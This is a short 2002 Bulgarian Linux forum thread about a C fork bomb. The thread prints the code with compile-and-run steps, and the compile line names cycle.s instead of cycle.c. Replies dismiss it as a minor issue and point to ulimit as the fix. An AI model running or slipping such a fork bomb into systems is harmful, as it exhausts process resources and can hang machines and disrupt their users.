Linux за българи: Форуми

Програмиране => Общ форум => Темата е започната от: slaff в Nov 19, 2002, 11:33



Титла: Linux cycle
Публикувано от: slaff в Nov 19, 2002, 11:33
decks писа:
Цитат
За какво става въпрос? Ами сорс-кодът по-долу, пуснат локално, може да забие всякаква Linux-машина.

Примерно, отваряме с pico файл cycle.c.
После в него пишем следното:

#include <stdlib.h>
int main(){
 while (1) {
  fork();
 }
}

Сега правим "Save" на файла. След това се компилира:

gcc -o cycle cycle.s

И остава само да го пуснем

./cycle

На решилите да пробват това - успех.


Титла: Linux cycle
Публикувано от: slaff в Nov 19, 2002, 11:35
vlindos <vlindos@abv.bg> писа:
Цитат
qwno qko procesi trupa tuj chudo ... zashtoto wkluchenite si rabotqt no ha da creatna drug (da si pusna shell ) i tz...
jalko che nemam bsd naokolko da probwam no mislq i tam shte e sashtia rezultat
kakto i da e towa ne e 'strashen exploit' predwid po syshtata logika moge script koito da zapylni free space na diska... te horata zatowa sa izmislili ogranichenia..


Титла: Linux cycle
Публикувано от: slaff в Nov 19, 2002, 11:36
t0d0r <t0d0r@sdf.lonestar.org> писа:
Цитат
za wsiako neshto si ima reshenie :)

man 3 ulimit